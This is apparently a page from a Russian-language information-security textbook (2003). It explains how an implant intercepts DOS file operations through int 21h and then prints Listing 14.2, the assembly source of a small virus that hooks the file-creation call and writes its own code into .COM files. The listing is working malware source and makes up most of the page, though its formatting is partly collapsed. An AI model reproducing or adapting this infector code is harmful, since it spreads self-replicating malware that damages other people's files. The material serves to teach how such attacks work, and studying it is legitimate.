logo
ОЗІ / Лекц_ї / все / Методы и средства защиты информации, 2003

Перехват и обработка файловых операций

Программное средство защиты информации (ПСЗИ) производит некоторые файловые операции. Для этого открывается файл, часть его или весь файл считывается в буфер оперативной памяти, обрабатывается и затем записывается в файл с прежним или новым именем.

Активизирующим событием в данном случае является, как правило, открытие файла (int21h, функция3Dh), либо его закрытие.

Таким образом, закладка порождает в системе “исходный файл — ПСЗИ — выходной файл” новые связи, включая в них свои операции и массивы данных.

Рассмотрим механизм работы закладки для DOS, которая встраивается в цепочку прерывания int21hдля следующих функций.

В листинге 14.2 представлен пример вируса, использующего механизм перехвата файловых операция для модификации файлов типа COMсвоим кодом.

Листинг 14.2.Пример перехвата файловых операций для выполнения несанкционированной записи в файл

.model tiny .code org 100h start: push si push si

mov es,bx mov di,2B0h cli cmpsb jz loc_2 dec si dec di

Продолжение листинга 14.2

mov cl,50h rep movsb mov si,21h*4 push si movs word ptr es:[di],word ptr es:[si] movs word ptr es:[di],word ptr es:[si] pop di mov al,2Bh stosw stosw loc_2: pop di lea si,[di+50h] mov cx,sp sub cx,si push cs pop es rep movsb retn ; новый обработчик 21-го прерывания cmp ah,3Ch ; функция создания файла ? jne loc_5 ; если нет — на выход int 0C0h ; если (2B0h+50h)/4 = 0C0h, т.е. адрес ; старого обработчика int 21h push ax xchg bx,ax mov si,dx ; si = dx locloop_3: dec si lodsw cmp ax,'mo'

loopnz locloop_3 jnz loc_4 push ds push cs pop ds mov ah,40h mov cl,50h cwd int 21h pop ds

Окончание листинга 14.2

loc_4: pop ax clc retf 2 loc_5: db 0EAh int 20h end start